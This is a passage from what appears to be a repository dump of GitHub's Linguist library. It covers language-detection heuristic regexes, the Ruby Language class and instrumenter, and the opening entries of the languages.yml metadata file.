'(?:^|\\s)(?:Proof|Qed)\\.(?:$|\\s)|(?:^|\\s)Require[ \\t]+(Import|Export)\\s'\n  - language: Verilog\n    pattern: '^[ \\t]*module\\s+[^\\s()]+\\s*\\#?\\(|^[ \\t]*`(?:define|ifdef|ifndef|include|timescale|pragma)|^[ \\t]*always[ \\t]*@|^[ \\t]*initial[ \\t]*(begin|@)'\n  - language: V\n    pattern: '\\$(?:if|else)[ \\t]|^[ \\t]*fn\\s+[^\\s()]+\\(.*?\\).*?\\{|^[ \\t]*for\\s*\\{'\n- extensions: ['.vba']\n  rules:\n  - language: Vim Script\n    pattern: '^UseVimball'\n  - language: VBA\n- extensions: ['.vcf']\n  rules:\n  - language: TSV\n    pattern: '\\A##fileformat=VCF'\n  - language: vCard\n    pattern: '\\ABEGIN:VCARD'\n- extensions: ['.w']\n  rules:\n  - language: OpenEdge ABL\n    pattern: '&ANALYZE-SUSPEND _UIB-CODE-BLOCK _CUSTOM _DEFINITIONS'\n  - language: CWeb\n    pattern: '^@(<|\\w+\\.)'\n- extensions: ['.x']\n  rules:\n  - language: DirectX 3D File\n    pattern:  '^xof 030(2|3)(?:txt|bin|tzip|bzip)\\b'\n  - language: RPC\n    pattern: '\\b(program|version)\\s+\\w+\\s*\\{|\\bunion\\s+\\w+\\s+switch\\s*\\('\n  - language: Logos\n    pattern: '^%(end|ctor|hook|group)\\b'\n  - language: Linker Script\n    pattern: 'OUTPUT_ARCH\\(|OUTPUT_FORMAT\\(|SECTIONS'\n- extensions: ['.yaml', '.yml']\n  rules:\n  - language: MiniYAML\n    pattern: '^\\t+.*?[^\\s:].*?:'\n    negative_pattern: '---'\n  - language: OASv2-yaml\n    pattern: 'swagger:\\s?''?\"?2.[0-9.]+''?\"?'\n  - language: OASv3-yaml\n    pattern: 'openapi:\\s?''?\"?3.[0-9.]+''?\"?'\n  - language: YAML\n- extensions: ['.yy']\n  rules:\n  - language: JSON\n    named_pattern: json\n  - language: Yacc\nnamed_patterns:\n  cpp:\n  - '^\\s*#\\s*include <(cstdint|string|vector|map|list|array|bitset|queue|stack|forward_list|unordered_map|unordered_set|(i|o|io)stream)>'\n  - '^\\s*template\\s*<'\n  - '^[ \\t]*(try|constexpr)'\n  - '^[ \\t]*catch\\s*\\('\n  - '^[ \\t]*(class|(using[ \\t]+)?namespace)\\s+\\w+'\n  - '^[ \\t]*(private|public|protected):$'\n  - '__has_cpp_attribute|__cplusplus >'\n  - 'std::\\w+'\n  euphoria:\n  - '^\\s*namespace\\s'\n  - '^\\s*(?:public\\s+)?include\\s'\n  - '^\\s*(?:(?:public|export|global)\\s+)?(?:atom|constant|enum|function|integer|object|procedure|sequence|type)\\s'\n  fortran: '^(?i:[c*][^abd-z]|      (subroutine|program|end|data)\\s|\\s*!)'\n  freebasic:\n  - '(?i)^[ \\t]*#(?:define|endif|endmacro|ifn?def|include|lang|macro|pragma)(?:$|\\s)'\n  - '(?i)^[ \\t]*dim( shared)? [a-z_][a-z0-9_]* as [a-z_][a-z0-9_]* ptr'\n  gsc:\n  - '^\\s*#\\s*(?:using|insert|include|define|namespace)[ \\t]+\\w'\n  - '^\\s*((?:autoexec|private)\\s+){0,2}function\\s+((?:autoexec|private)\\s+){0,2}\\w+\\s*\\('\n  - '\\b(?:level|self)[ \\t]+thread[ \\t]+(?:\\[\\[[ \\t]*(\\w+\\.)+[ \\t]*\\]\\]|\\w+)[ \\t]*\\([^\\r\\n\\)]*\\)[ \\t]*;'\n  - '^[ \\t]*#[ \\t]*(?:precache|using_animtree)[ \\t]*\\('\n  json: '\\A\\s*[{\\[]'\n  key_equals_value: '^[^#!;][^=]*='\n  m68k:\n  - '(?im)\\bmoveq(?:\\.l)?\\s+#(?:\\$-?[0-9a-f]{1,3}|%[0-1]{1,8}|-?[0-9]{1,3}),\\s*d[0-7]\\b'\n  - '(?im)^\\s*move(?:\\.[bwl])?\\s+(?:sr|usp),\\s*[^\\s]+'\n  - '(?im)^\\s*move\\.[bwl]\\s+.*\\b[ad]\\d'\n  - '(?im)^\\s*movem\\.[bwl]\\b'\n  - '(?im)^\\s*move[mp](?:\\.[wl])?\\b'\n  - '(?im)^\\s*btst\\b'\n  - '(?im)^\\s*dbra\\b'\n  man-heading:  '^[.''][ \\t]*SH +(?:[^\"\\s]+|\"[^\"\\s]+)'\n  man-title:    '^[.''][ \\t]*TH +(?:[^\"\\s]+|\"[^\"]+\") +\"?(?:[1-9]|@[^\\s@]+@)'\n  mdoc-date:    '^[.''][ \\t]*Dd +(?:[^\"\\s]+|\"[^\"]+\")'\n  mdoc-heading: '^[.''][ \\t]*Sh +(?:[^\"\\s]|\"[^\"]+\")'\n  mdoc-title:   '^[.''][ \\t]*Dt +(?:[^\"\\s]+|\"[^\"]+\") +\"?(?:[1-9]|@[^\\s@]+@)'\n  objectivec: '^\\s*(@(interface|class|protocol|property|end|synchronised|selector|implementation)\\b|#import\\s+.+\\.h[\">])'\n  perl:\n  - '\\buse\\s+(?:strict\\b|v?5\\b)'\n  - '^\\s*use\\s+(?:constant|overload)\\b'\n  - '^\\s*(?:\\*|(?:our\\s*)?@)EXPORT\\s*='\n  - '^\\s*package\\s+[^\\W\\d]\\w*(?:::\\w+)*\\s*(?:[;{]|\\sv?\\d)'\n  - '[\\s$][^\\W\\d]\\w*(?::\\w+)*->[a-zA-Z_\\[({]'\n  quickbasic:\n  # Uppercase keywords are a good indicator of QuickBASIC (if no FreeBASIC syntax is detected)\n  - '^[ ]*(CONST|DIM|REDIM|DEFINT|PRINT|DECLARE (SUB|FUNCTION)|FUNCTION|SUB) '\n  # Preprocessor statement to set the compiler dialect in QuickBASIC ($lang) and FreeBASIC (#lang)\n  - '(#|$)lang:?\\s*\"?qb\"?'\n  # Other QuickBASIC-specific patterns\n  - '(?i)''\\$INCLUDE:'\n  - '(?i)^[ ]*CLS[ ]*(''|:|\\r|\\n)'\n  - '(?i)^[ ]*OPTION _EXPLICIT'\n  - '(?i)^[ ]*DIM SHARED '\n  - '(?i)^[ ]*PRINT \"'\n  - '(?i) As _(Byte|Offset|MEM)'\n  - '(?i)^[ ]*_(DISPLAY|DEST|CONSOLE|SOURCE|FREEIMAGE|PALETTECOLOR|PRINTSTRING|LOADFONT|PUTIMAGE)'\n  - '(?i)^[ ]*_(TITLE|PLAYMOD) \"'\n  - '(?i)^[ ]*_(LIMIT|SCREEN|DELAY) \\.?\\d+'\n  - '(?i)\\b_(MOUSEBUTTON|NEWIMAGE|KEYDOWN|WIDTH|HEIGHT)\\('\n  - '(?i)^[ ]*\\$(CONSOLE|CHECKING):'\n  - '(?i)^[ ]*\\$(FULLSCREEN|RESIZE|STATIC|DYNAMIC|NOPREFIX|SCREENSHOW|SCREENHIDE|EXEICON)\\b'\n  raku: '^\\s*(?:use\\s+v6\\b|\\bmodule\\b|\\b(?:my\\s+)?class\\b)'\n  vb-class: '^[ ]*VERSION [0-9]\\.[0-9] CLASS'\n  vb-form: '^[ ]*VERSION [0-9]\\.[0-9]{2}'\n  vb-module: '^[ ]*Attribute VB_Name = '\n  vba:\n  - '\\b(?:VBA|[vV]ba)(?:\\b|[0-9A-Z_])'\n    # VBA7 new 64-bit features\n  - '^[ ]*(?:Public|Private)? Declare PtrSafe (?:Sub|Function)\\b'\n  - '^[ ]*#If Win64\\b'\n  - '^[ ]*(?:Dim|Const) [0-9a-zA-Z_]*[ ]*As Long(?:Ptr|Long)\\b'\n  # Top module declarations unique to VBA\n  - '^[ ]*Option (?:Private Module|Compare Database)\\b'\n  # General VBA libraries and objects\n  - '(?: |\\()(?:Access|Excel|Outlook|PowerPoint|Visio|Word|VBIDE)\\.\\w'\n  - '\\b(?:(?:Active)?VBProjects?|VBComponents?|Application\\.(?:VBE|ScreenUpdating))\\b'\n  # AutoCAD, Outlook, PowerPoint and Word objects\n  - '\\b(?:ThisDrawing|AcadObject|Active(?:Explorer|Inspector|Window\\.Presentation|Presentation|Document)|Selection\\.(?:Document|Find|Paragraphs|Range))\\b'\n  # Excel objects\n  - '\\b(?:(?:This|Active)?Workbooks?|Worksheets?|Active(?:Sheet|Chart|Cell)|WorksheetFunction)\\b'\n  - '\\b(?:Range\\(\".*|Cells\\([0-9a-zA-Z_]*, (?:[0-9a-zA-Z_]*|\"[a-zA-Z]{1,3}\"))\\)'\n"
  },
  {
    "path": "lib/linguist/instrumenter.rb",
    "content": "module Linguist\n  class BasicInstrumenter\n    attr_reader :detected_info\n\n    def initialize\n      @detected_info = {}\n    end\n\n    def instrument(name, payload = {})\n      if name == \"linguist.detected\" && payload[:blob]\n        @detected_info[payload[:blob].name] = {\n          strategy: payload[:strategy].name.split(\"::\").last,\n          language: payload[:language]&.name\n        }\n      end\n      yield if block_given?\n    end\n  end\nend\n"
  },
  {
    "path": "lib/linguist/language.rb",
    "content": "require 'cgi'\nrequire 'yaml'\nbegin\n  require 'yajl'\nrescue LoadError\n  require 'json'\nend\n\nrequire 'linguist/classifier'\nrequire 'linguist/heuristics'\nrequire 'linguist/samples'\nrequire 'linguist/file_blob'\nrequire 'linguist/blob_helper'\nrequire 'linguist/strategy/filename'\nrequire 'linguist/strategy/extension'\nrequire 'linguist/strategy/modeline'\nrequire 'linguist/shebang'\n\nmodule Linguist\n  # Language names that are recognizable by GitHub. Defined languages\n  # can be highlighted, searched and listed under the Top Languages page.\n  #\n  # Languages are defined in `lib/linguist/languages.yml`.\n  class Language\n    @languages          = []\n    @index              = {}\n    @name_index         = {}\n    @alias_index        = {}\n    @language_id_index  = {}\n\n    @extension_index    = Hash.new { |h,k| h[k] = [] }\n    @interpreter_index  = Hash.new { |h,k| h[k] = [] }\n    @filename_index     = Hash.new { |h,k| h[k] = [] }\n\n\n    # Detect languages by a specific type\n    #\n    # type - A symbol that exists within TYPES\n    #\n    # Returns an array\n    def self.by_type(type)\n      all.select { |h| h.type == type }\n    end\n\n    # Internal: Create a new Language object\n    #\n    # attributes - A hash of attributes\n    #\n    # Returns a Language object\n    def self.create(attributes = {})\n      language = new(attributes)\n\n      @languages << language\n\n      # All Language names should be unique. Raise if there is a duplicate.\n      if @name_index.key?(language.name)\n        raise ArgumentError, \"Duplicate language name: #{language.name}\"\n      end\n\n      # Language name index\n      @index[language.name.downcase] = @name_index[language.name.downcase] = language\n\n      language.aliases.each do |name|\n        # All Language aliases should be unique. Raise if there is a duplicate.\n        if @alias_index.key?(name)\n          raise ArgumentError, \"Duplicate alias: #{name}\"\n        end\n\n        @index[name.downcase] = @alias_index[name.downcase] = language\n      end\n\n      language.extensions.each do |extension|\n        if extension !~ /^\\./\n          raise ArgumentError, \"Extension is missing a '.': #{extension.inspect}\"\n        end\n\n        @extension_index[extension.downcase] << language\n      end\n\n      language.interpreters.each do |interpreter|\n        @interpreter_index[interpreter] << language\n      end\n\n      language.filenames.each do |filename|\n        @filename_index[filename] << language\n      end\n\n      @language_id_index[language.language_id] = language\n\n      language\n    end\n\n    # Public: Get all Languages\n    #\n    # Returns an Array of Languages\n    def self.all\n      @languages\n    end\n\n    # Public: Look up Language by its proper name.\n    #\n    # name - The String name of the Language\n    #\n    # Examples\n    #\n    #   Language.find_by_name('Ruby')\n    #   # => #<Language name=\"Ruby\">\n    #\n    # Returns the Language or nil if none was found.\n    def self.find_by_name(name)\n      return nil if !name.is_a?(String) || name.to_s.empty?\n      name && (@name_index[name.downcase] || @name_index[name.split(',', 2).first.downcase])\n    end\n\n    # Public: Look up Language by one of its aliases.\n    #\n    # name - A String alias of the Language\n    #\n    # Examples\n    #\n    #   Language.find_by_alias('cpp')\n    #   # => #<Language name=\"C++\">\n    #\n    # Returns the Language or nil if none was found.\n    def self.find_by_alias(name)\n      return nil if !name.is_a?(String) || name.to_s.empty?\n      name && (@alias_index[name.downcase] || @alias_index[name.split(',', 2).first.downcase])\n    end\n\n    # Public: Look up Languages by filename.\n    #\n    # The behaviour of this method recently changed.\n    # See the second example below.\n    #\n    # filename - The path String.\n    #\n    # Examples\n    #\n    #   Language.find_by_filename('Cakefile')\n    #   # => [#<Language name=\"CoffeeScript\">]\n    #   Language.find_by_filename('foo.rb')\n    #   # => []\n    #\n    # Returns all matching Languages or [] if none were found.\n    def self.find_by_filename(filename)\n      basename = File.basename(filename)\n      @filename_index[basename]\n    end\n\n    # Public: Look up Languages by file extension.\n    #\n    # The behaviour of this method recently changed.\n    # See the second example below.\n    #\n    # filename - The path String.\n    #\n    # Examples\n    #\n    #   Language.find_by_extension('dummy.rb')\n    #   # => [#<Language name=\"Ruby\">]\n    #   Language.find_by_extension('rb')\n    #   # => []\n    #\n    # Returns all matching Languages or [] if none were found.\n    def self.find_by_extension(filename)\n      # find the first extension with language definitions\n      extname = FileBlob.new(filename.downcase).extensions.detect do |e|\n        !@extension_index[e].empty?\n      end\n\n      @extension_index[extname]\n    end\n\n    # Public: Look up Languages by interpreter.\n    #\n    # interpreter - String of interpreter name\n    #\n    # Examples\n    #\n    #   Language.find_by_interpreter(\"bash\")\n    #   # => [#<Language name=\"Bash\">]\n    #\n    # Returns the matching Language\n    def self.find_by_interpreter(interpreter)\n      @interpreter_index[interpreter]\n    end\n\n    # Public: Look up Languages by its language_id.\n    #\n    # language_id - Integer of language_id\n    #\n    # Examples\n    #\n    #   Language.find_by_id(100)\n    #   # => [#<Language name=\"Elixir\">]\n    #\n    # Returns the matching Language\n    def self.find_by_id(language_id)\n      @language_id_index[language_id.to_i]\n    end\n\n    # Public: Look up Language by its name.\n    #\n    # name - The String name of the Language\n    #\n    # Examples\n    #\n    #   Language['Ruby']\n    #   # => #<Language name=\"Ruby\">\n    #\n    #   Language['ruby']\n    #   # => #<Language name=\"Ruby\">\n    #\n    # Returns the Language or nil if none was found.\n    def self.[](name)\n      return nil if !name.is_a?(String) || name.to_s.empty?\n\n      lang = @index[name.downcase]\n      return lang if lang\n\n      @index[name.split(',', 2).first.downcase]\n    end\n\n    # Public: A List of popular languages\n    #\n    # Popular languages are sorted to the top of language chooser\n    # dropdowns.\n    #\n    # This list is configured in \"popular.yml\".\n    #\n    # Returns an Array of Languages.\n    def self.popular\n      @popular ||= all.select(&:popular?).sort_by { |lang| lang.name.downcase }\n    end\n\n    # Public: A List of non-popular languages\n    #\n    # Unpopular languages appear below popular ones in language\n    # chooser dropdowns.\n    #\n    # This list is created from all the languages not listed in \"popular.yml\".\n    #\n    # Returns an Array of Languages.\n    def self.unpopular\n      @unpopular ||= all.select(&:unpopular?).sort_by { |lang| lang.name.downcase }\n    end\n\n    # Public: A List of languages with assigned colors.\n    #\n    # Returns an Array of Languages.\n    def self.colors\n      @colors ||= all.select(&:color).sort_by { |lang| lang.name.downcase }\n    end\n\n    # Internal: Initialize a new Language\n    #\n    # attributes - A hash of attributes\n    def initialize(attributes = {})\n      # @name is required\n      @name = attributes[:name] || raise(ArgumentError, \"missing name\")\n\n      @fs_name = attributes[:fs_name]\n\n      # Set type\n      @type = attributes[:type] ? attributes[:type].to_sym : nil\n      if @type && !get_types.include?(@type)\n        raise ArgumentError, \"invalid type: #{@type}\"\n      end\n\n      @color = attributes[:color]\n\n      # Set aliases\n      @aliases = [default_alias] + (attributes[:aliases] || [])\n\n      @tm_scope = attributes[:tm_scope] || 'none'\n      @ace_mode = attributes[:ace_mode]\n      @codemirror_mode = attributes[:codemirror_mode]\n      @codemirror_mime_type = attributes[:codemirror_mime_type]\n      @wrap = attributes[:wrap] || false\n\n      # Set the language_id\n      @language_id = attributes[:language_id]\n\n      # Set extensions or default to [].\n      @extensions   = attributes[:extensions]   || []\n      @interpreters = attributes[:interpreters] || []\n      @filenames    = attributes[:filenames]    || []\n\n      # Set popular flag\n      @popular    = attributes.key?(:popular)    ? attributes[:popular]    : false\n\n      # If group name is set, save the name so we can lazy load it later\n      if attributes[:group_name]\n        @group_name = attributes[:group_name]\n\n      # Otherwise we can set it to self now\n      else\n        @group_name = self.name\n      end\n    end\n\n    def get_types\n      # Valid Languages types\n      @types = [:data, :markup, :programming, :prose]\n    end\n\n    # Public: Get proper name\n    #\n    # Examples\n    #\n    #   # => \"Ruby\"\n    #   # => \"Python\"\n    #   # => \"Perl\"\n    #\n    # Returns the name String\n    attr_reader :name\n\n    # Public:\n    #\n    attr_reader :fs_name\n\n    # Public: Get type.\n    #\n    # Returns a type Symbol or nil.\n    attr_reader :type\n\n    # Public: Get color.\n    #\n    # Returns a hex color String.\n    attr_reader :color\n\n    # Public: Get aliases\n    #\n    # Examples\n    #\n    #   Language['C++'].aliases\n    #   # => [\"cpp\"]\n    #\n    # Returns an Array of String names\n    attr_reader :aliases\n\n    # Public: Get language_id (used in GitHub search)\n    #\n    # Examples\n    #\n    #   # => \"1\"\n    #   # => \"2\"\n    #   # => \"3\"\n    #\n    # Returns the integer language_id\n    attr_reader :language_id\n\n    # Public: Get the name of a TextMate-compatible scope\n    #\n    # Returns the scope\n    attr_reader :tm_scope\n\n    # Public: Get Ace mode\n    #\n    # Examples\n    #\n    #  # => \"text\"\n    #  # => \"javascript\"\n    #  # => \"c_cpp\"\n    #\n    # Returns a String name or nil\n    attr_reader :ace_mode\n\n    # Public: Get CodeMirror mode\n    #\n    # Maps to a directory in the `mode/` source code.\n    #   https://github.com/codemirror/CodeMirror/tree/master/mode\n    #\n    # Examples\n    #\n    #  # => \"nil\"\n    #  # => \"javascript\"\n    #  # => \"clike\"\n    #\n    # Returns a String name or nil\n    attr_reader :codemirror_mode\n\n    # Public: Get CodeMirror MIME type mode\n    #\n    # Examples\n    #\n    #  # => \"nil\"\n    #  # => \"text/x-javascript\"\n    #  # => \"text/x-csrc\"\n    #\n    # Returns a String name or nil\n    attr_reader :codemirror_mime_type\n\n    # Public: Should language lines be wrapped\n    #\n    # Returns true or false\n    attr_reader :wrap\n\n    # Public: Get extensions\n    #\n    # Examples\n    #\n    #   # => ['.rb', '.rake', ...]\n    #\n    # Returns the extensions Array\n    attr_reader :extensions\n\n    # Public: Get interpreters\n    #\n    # Examples\n    #\n    #   # => ['awk', 'gawk', 'mawk' ...]\n    #\n    # Returns the interpreters Array\n    attr_reader :interpreters\n\n    # Public: Get filenames\n    #\n    # Examples\n    #\n    #   # => ['Rakefile', ...]\n    #\n    # Returns the extensions Array\n    attr_reader :filenames\n\n    # Public: Get URL escaped name.\n    #\n    # Examples\n    #\n    #   \"C%23\"\n    #   \"C%2B%2B\"\n    #   \"Common%20Lisp\"\n    #\n    # Returns the escaped String.\n    def escaped_name\n      CGI.escape(name).gsub('+', '%20')\n    end\n\n    # Public: Get default alias name\n    #\n    # Returns the alias name String\n    def default_alias\n      name.downcase.gsub(/\\s/, '-')\n    end\n    alias_method :default_alias_name, :default_alias\n\n    # Public: Get Language group\n    #\n    # Returns a Language\n    def group\n      @group ||= Language.find_by_name(@group_name)\n    end\n\n    # Public: Is it popular?\n    #\n    # Returns true or false\n    def popular?\n      @popular\n    end\n\n    # Public: Is it not popular?\n    #\n    # Returns true or false\n    def unpopular?\n      !popular?\n    end\n\n    # Public: Return name as String representation\n    def to_s\n      name\n    end\n\n    def ==(other)\n      eql?(other)\n    end\n\n    def eql?(other)\n      equal?(other)\n    end\n\n    def hash\n      name.hash\n    end\n\n    def inspect\n      \"#<#{self.class} name=#{name}>\"\n    end\n  end\n\n  samples      = Samples.load_samples\n  extensions   = samples['extnames']\n  interpreters = samples['interpreters']\n  popular      = YAML.load_file(File.expand_path(\"../popular.yml\", __FILE__))\n\n  languages_yml  = File.expand_path(\"../languages.yml\",  __FILE__)\n  languages_json = File.expand_path(\"../languages.json\", __FILE__)\n\n  if File.exist?(languages_json)\n    serializer = defined?(Yajl) ? Yajl : JSON\n    languages = serializer.load(File.read(languages_json))\n  else\n    languages = YAML.load_file(languages_yml)\n  end\n\n  languages.each do |name, options|\n    options['extensions']   ||= []\n    options['interpreters'] ||= []\n    options['filenames']    ||= []\n\n    if extnames = extensions[name]\n      extnames.each do |extname|\n        if !options['extensions'].index { |x| x.downcase.end_with? extname.downcase }\n          warn \"#{name} has a sample with extension (#{extname.downcase}) that isn't explicitly defined in languages.yml\"\n          options['extensions'] << extname\n        end\n      end\n    end\n\n    interpreters ||= {}\n\n    if interpreter_names = interpreters[name]\n      interpreter_names.each do |interpreter|\n        if !options['interpreters'].include?(interpreter)\n          options['interpreters'] << interpreter\n        end\n      end\n    end\n\n    Language.create(\n      :name              => name,\n      :fs_name           => options['fs_name'],\n      :color             => options['color'],\n      :type              => options['type'],\n      :aliases           => options['aliases'],\n      :tm_scope          => options['tm_scope'],\n      :ace_mode          => options['ace_mode'],\n      :codemirror_mode   => options['codemirror_mode'],\n      :codemirror_mime_type => options['codemirror_mime_type'],\n      :wrap              => options['wrap'],\n      :group_name        => options['group'],\n      :language_id       => options['language_id'],\n      :extensions        => Array(options['extensions']),\n      :interpreters      => options['interpreters'].sort,\n      :filenames         => options['filenames'],\n      :popular           => popular.include?(name)\n    )\n  end\nend\n"
  },
  {
    "path": "lib/linguist/languages.yml",
    "content": "# Defines all languages known to GitHub.\n#\n# Required fields:\n#    type                  - Either \"data\", \"programming\", \"markup\" or \"prose\".\n#    ace_mode              - Ace mode used when editing files which use the language. This must match\n#                            one of the names in https://gh.io/acemodes. Use \"text\" if no mode exists.\n#    extensions            - List of associated file extensions, sorted in ascending ASCII order,\n#                            except for the language's primary extension, which is always listed first.\n#    filenames             - List of associated filenames, sorted in ascending ASCII order.\n#                            May be omitted if the extensions field is present (and vice versa).\n#    language_id           - Unique identifier used internally by GitHub, generated by running\n#                            `script/update-ids`. Do not fill out this field manually.\n#    tm_scope              - The TextMate scope that represents this programming language.\n#                            This should match one of the scopes listed in grammars.yml.\n#                            Use \"none\" if there is no TextMate grammar for this language.\n#\n# Optional fields:\n#    aliases               - List of additional aliases (implicitly includes lowercased forms of language's name).\n#                            These are used in fenced code-blocks, code searches by language, and in overrides.\n#    codemirror_mode       - CodeMirror 5 mode used when editing files that use the language.\n#                            This must match one of the names listed here: https://git.io/vi9Fx\n#    codemirror_mime_type  - MIME media-type used by CodeMirror 5 for selecting a mode for editing the language.\n#                            The `mime` types supported by the named mode are listed here: https://git.io/f4SoQ\n#    color                 - CSS colour code used to represent the language (format: \"#RRGGBB\").\n#    fs_name               - Filesystem name used when creating directories for the language. Only necessary for\n#                            languages whose names contain symbols that are invalid or unsafe on certain systems.\n#    group                 - Name of the parent language. Languages in a group contribute to the usage statistics\n#                            of their parent language.\n#    interpreters          - List of programs that execute the language (by running and/or compiling it).\n#                            These are consulted when scrutinising a file's hashbang to determine its language.\n#    wrap                  - Enable soft line-wrapping (default: false)\n#\n# Any additions or modifications (even trivial) should have corresponding\n# test changes in `test/test_blob.rb`.\n#\n# Please keep this list alphabetized. Capitalization comes before lowercase.\n---\n1C Enterprise:\n  type: programming\n  color: \"#814CCC\"\n  extensions:\n  - \".bsl\"\n  - \".os\"\n  tm_scope: source.bsl\n  ace_mode: text\n  language_id: 0\n2-Dimensional Array:\n  type: data\n  color: \"#38761D\"\n  extensions:\n  - \".2da\"\n  tm_scope: source.2da\n  ace_mode: text\n  language_id: 387204628\n4D:\n  type: programming\n  color: \"#004289\"\n  extensions:\n  - \".4dm\"\n  tm_scope: source.4dm\n  ace_mode: text\n  language_id: 577529595\nABAP:\n  type: programming\n  color: \"#E8274B\"\n  extensions:\n  - \".abap\"\n  tm_scope: source.abap\n  ace_mode: abap\n  language_id: 1\nABAP CDS:\n  type: programming\n  color: \"#555e25\"\n  extensions:\n  - \".asddls\"\n  tm_scope: source.abapcds\n  language_id: 452681853\n  ace_mode: text\nABNF:\n  type: data\n  ace_mode: text\n  extensions:\n  - \".abnf\"\n  tm_scope: source.abnf\n  language_id: 429\nAGS Script:\n  type: programming\n  color: \"#B9D9FF\"\n  aliases:\n  - ags\n  extensions:\n  - \".asc\"\n  - \".ash\"\n  tm_scope: source.c++\n  ace_mode: c_cpp\n  codemirror_mode: clike\n  codemirror_mime_type: text/x-c++src\n  language_id: 2\nAIDL:\n  type: programming\n  color: \"#34EB6B\"\n  tm_scope: source.aidl\n  extensions:\n  - \".aidl\"\n  ace_mode: text\n  interpreters:\n  - aidl\n  language_id: 451700185\nAL:\n  type: programming\n  color: \"#3AA2B5\"\n  extensions:\n  - \".al\"\n  tm_scope: source.al\n  ace_mode: text\n  language_id: 658971832\nALGOL:\n  type: programming\n  color: \"#D1E0DB\"\n  extensions:\n  - \".alg\"\n  tm_scope: source.algol60\n  ace_mode: pascal\n  codemirror_mode: pascal\n  codemirror_mime_type: text/x-pascal\n  language_id: 79217948\nAMPL:\n  type: programming\n  color: \"#E6EFBB\"\n  extensions:\n  - \".ampl\"\n  - \".mod\"\n  tm_scope: source.ampl\n  ace_mode: text\n  language_id: 3\nANTLR:\n  type: programming\n  color: \"#9DC3FF\"\n  extensions:\n  - \".g4\"\n  tm_scope: source.antlr\n  ace_mode: text\n  language_id: 4\nAPI Blueprint:\n  type: markup\n  color: \"#2ACCA8\"\n  ace_mode: markdown\n  extensions:\n  - \".apib\"\n  tm_scope: text.html.markdown.source.gfm.apib\n  language_id: 5\nAPL:\n  type: programming\n  color: \"#5A8164\"\n  extensions:\n  - \".apl\"\n  - \".dyalog\"\n  interpreters:\n  - apl\n  - aplx\n  - dyalog\n  tm_scope: source.apl\n  ace_mode: text\n  codemirror_mode: apl\n  codemirror_mime_type: text/apl\n  language_id: 6\nASL:\n  type: programming\n  ace_mode: asl\n  extensions:\n  - \".asl\"\n  - \".dsl\"\n  tm_scope: source.asl\n  language_id: 124996147\nASN.1:\n  type: data\n  extensions:\n  - \".asn\"\n  - \".asn1\"\n  tm_scope: source.asn\n  ace_mode: text\n  codemirror_mode: asn.1\n  codemirror_mime_type: text/x-ttcn-asn\n  language_id: 7\nASP.NET:\n  type: programming\n  tm_scope: text.html.asp\n  color: \"#9400ff\"\n  aliases:\n  - aspx\n  - aspx-vb\n  extensions:\n  - \".asax\"\n  - \".ascx\"\n  - \".ashx\"\n  - \".asmx\"\n  - \".aspx\"\n  - \".axd\"\n  ace_mode: text\n  codemirror_mode: htmlembedded\n  codemirror_mime_type: application/x-aspx\n  language_id: 564186416\nATS:\n  type: programming\n  color: \"#1ac620\"\n  aliases:\n  - ats2\n  extensions:\n  - \".dats\"\n  - \".hats\"\n  - \".sats\"\n  tm_scope: source.ats\n  ace_mode: ocaml\n  language_id: 9\nActionScript:\n  type: programming\n  tm_scope: source.actionscript.3\n  color: \"#882B0F\"\n  aliases:\n  - actionscript 3\n  - actionscript3\n  - as3\n  extensions:\n  - \".as\"\n  ace_mode: actionscript\n  language_id: 10\nAda:\n  type: programming\n  color: \"#02f88c\"\n  extensions:\n  - \".adb\"\n  - \".ada\"\n  - \".ads\"\n  aliases:\n  - ada95\n  - ada2005\n  tm_scope: source.ada\n  ace_mode: ada\n  language_id: 11\nAdblock Filter List:\n  type: data\n  color: \"#800000\"\n  ace_mode: text\n  extensions:\n  - \".txt\"\n  aliases:\n  - ad block filters\n  - ad block\n  - adb\n  - adblock\n  tm_scope: text.adblock\n  language_id: 884614762\nAdobe Font Metrics:\n  type: data\n  color: \"#fa0f00\"\n  tm_scope: source.afm\n  extensions:\n  - \".afm\"\n  aliases:\n  - acfm\n  - adobe composite font metrics\n  - adobe multiple font metrics\n  - amfm\n  ace_mode: text\n  language_id: 147198098\nAgda:\n  type: programming\n  color: \"#315665\"\n  extensions:\n  - \".agda\"\n  tm_scope: source.agda\n  ace_mode: text\n  language_id: 12\nAiken:\n  type: programming\n  color: \"#640ff8\"\n  ace_mode: text\n  extensions:\n  - \".ak\"\n  tm_scope: source.aiken\n  language_id: 899409497\nAlloy:\n  type: programming\n  color: \"#64C800\"\n  extensions:\n  - \".als\"\n  tm_scope: source.alloy\n  ace_mode: text\n  language_id: 13\nAlpine Abuild:\n  type: programming\n  color: \"#0D597F\"\n  group: Shell\n  aliases:\n  - abuild\n  - apkbuild\n  filenames:\n  - APKBUILD\n  tm_scope: source.shell\n  ace_mode: sh\n  codemirror_mode: shell\n  codemirror_mime_type: text/x-sh\n  language_id: 14\nAltium Designer:\n  type: data\n  color: \"#A89663\"\n  aliases:\n  - altium\n  extensions:\n  - \".OutJob\"\n  - \".PcbDoc\"\n  - \".PrjPCB\"\n  - \".SchDoc\"\n  tm_scope: source.ini\n  ace_mode: ini\n  language_id: 187772328\nAngelScript:\n  type: programming\n  color: \"#C7D7DC\"\n  extensions:\n  - \".as\"\n  - \".angelscript\"\n  tm_scope: source.angelscript\n  ace_mode: text\n  codemirror_mode: clike\n  codemirror_mime_type: text/x-c++src\n  language_id: 389477596\nAnswer Set Programming:\n  type: programming\n  color: \"#A9CC29\"\n  extensions:\n  - \".lp\"\n  interpreters:\n  - clingo\n  tm_scope: source.answersetprogramming\n  ace_mode: prolog\n  language_id: 433009171\nAnt Build System:\n  type: data\n  color: \"#A9157E\"\n  tm_scope: text.xml.ant\n  filenames:\n  - ant.xml\n  - build.xml\n  ace_mode: xml\n  codemirror_mode: xml\n  codemirror_mime_type: application/xml\n  language_id: 15\nAntlers:\n  type: markup\n  color: \"#ff269e\"\n  extensions:\n  - \".antlers.html\"\n  - \".antlers.php\"\n  - \".antlers.xml\"\n  tm_scope: text.html.statamic\n  ace_mode: text\n  language_id: 1067292663\nApacheConf:\n  type: data\n  color: \"#d12127\"\n  aliases:\n  - aconf\n  - apache\n  extensions:\n  - \".apacheconf\"\n  - \".vhost\"\n  filenames:\n  - \".htaccess\"\n  - apache2.conf\n  - httpd.conf\n  tm_scope: source.apacheconf\n  ace_mode: apache_conf\n  language_id: 16\nApex:\n  type: programming\n  color: \"#1797c0\"\n  extensions:\n  - \".cls\"\n  - \".apex\"\n  - \".trigger\"\n  tm_scope: source.apex\n  ace_mode: apex\n  codemirror_mode: clike\n  codemirror_mime_type: text/x-java\n  language_id: 17\nApollo 